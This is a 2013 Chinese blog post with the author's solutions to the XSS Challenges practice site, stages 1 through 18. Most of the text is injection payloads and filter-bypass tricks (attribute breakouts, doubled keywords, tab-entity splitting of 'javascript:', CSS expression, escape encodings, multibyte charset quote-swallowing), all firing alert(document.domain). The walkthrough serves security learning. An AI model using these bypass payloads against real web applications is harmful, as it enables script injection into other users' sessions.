XSS Challenges练习及解答

  一个偶然的机会在知道创宇的技能表里看到了一个练习XSS的网站http://xss-quiz.int21h.jp,正好想研究这个,于是试着做了一下。

  第一、二题是最简单的,直接在搜索框中输入以下代码就成功了。

"><script>alert(document.domain);</script>

  第三题,根据提示:The input in text box is properly escaped,输入的内容已经被转义了,于是我借助了tamper data插件,在搜索框中随意输入数据,拦截提交的请求,将p2的值修改为

<script>alert(document.domain);</script>

如图所示:

再进行提交便成功过关。

 

  第四题,根据提示invisible input field,说明有hidden的input输入点,查看网页源代码,发现果然存在一个隐藏域:

同样用tamper data拦截请求信息,发现提交的数据包括p1、p2、p3,如图所示:

将p3修改为如下代码便成功了。

"><script>alert(document.domain);</script>

  第五题,查看源代码我们发现该题对输入的数据长度作了限制(<input type="text" name="p1" maxlength="15" size="30" value="">),因此我们还是需要利用tamper data进行请求拦截,在长度校验之后修改数据,进行数据的提交,这样就绕过了长度限制。如下图所示:

  第六题,我在搜索框中直接输入"><script>alert(document.domain);</script>,提交后没有成功,查看源码发现该题对<及>符号进行了html编码,而对""号并没有进行编码,如图所示:

于是我们可以才有以下代码绕过该过滤方式:

" onmouseover="alert(document.domain);" x="

  第七题,根据上题的结果,在搜索框中直接输入" onmouseover="alert(document.domain);" x=",提交后没成功,查看源码发现该题对输入的"和<,>都进行了编码,如图所示:

不光是这样,原来value=""中包含的""也没了。对于这种情况,采用以下方式便可成功:

1 onmouseover=alert(document.domain);

  第八题,一直没做出来,只好直接在浏览器地址栏输入以下代码pass了。

javascript:alert(document.domain); //js伪协议

  第九题, 没做出来,pass。

  第十题, 输入<input type="text" name="p1" size="50" value=""><script>alert(document.);</script>">,提交,结果不对。查看源码发现过滤掉了domain字符串,如图所示:

对于这种类型的过滤,可以采用如下方式绕过:

"><script>alert(document.dodomainmain);</script>

这样即使过滤掉了domain,还会重新构造一个domain。

  第十一题, 提示:"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;" "><iframe src="javascr&#09;ipt:alert(document.domain);"></iframe>这样是可以的,但是没给我下一关。 "><a href="javascr&#09;ipt:alert(document.domain);">12</a>下一关……

  第十二题, 提示:"s/[\x00-\x20\<\>\"\']//g;" ``onmouseover=alert(document.domain);下一关……

  第十三题, background-color:#f00;background:url("javascript:alert(document.domain);");

  第十四题, 提示:s/(url|script|eval|expression)/xxx/ig cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

  第十五题, 提示:document.write(); \x3cscript\x3ealert(document.domain);\x3c/script\x3e

  第十六题, 提示:"document.write();" and "s/\\x/\\\\x/ig;" \u003cscript\u003ealert(document.domain);\u003c/script\u003e 用十进制也可以。\74script\76这样

  第十七题, 提示:multi-byte character euc-jp的编码范围: byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE 两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain); 现在发现原来是浏览器版本问题,别用IE8了过这个。 p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

  第十八题, 提示:us-ascii high bit issue 41-5A, 61-7A (若含數字與符號,則為21-7E) 同样别用IE8,这些漏洞已经在IE8中修补了。 p1=%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

posted @ 2013-09-10 18:00  bamb00  阅读(2179)  评论(0编辑  收藏  举报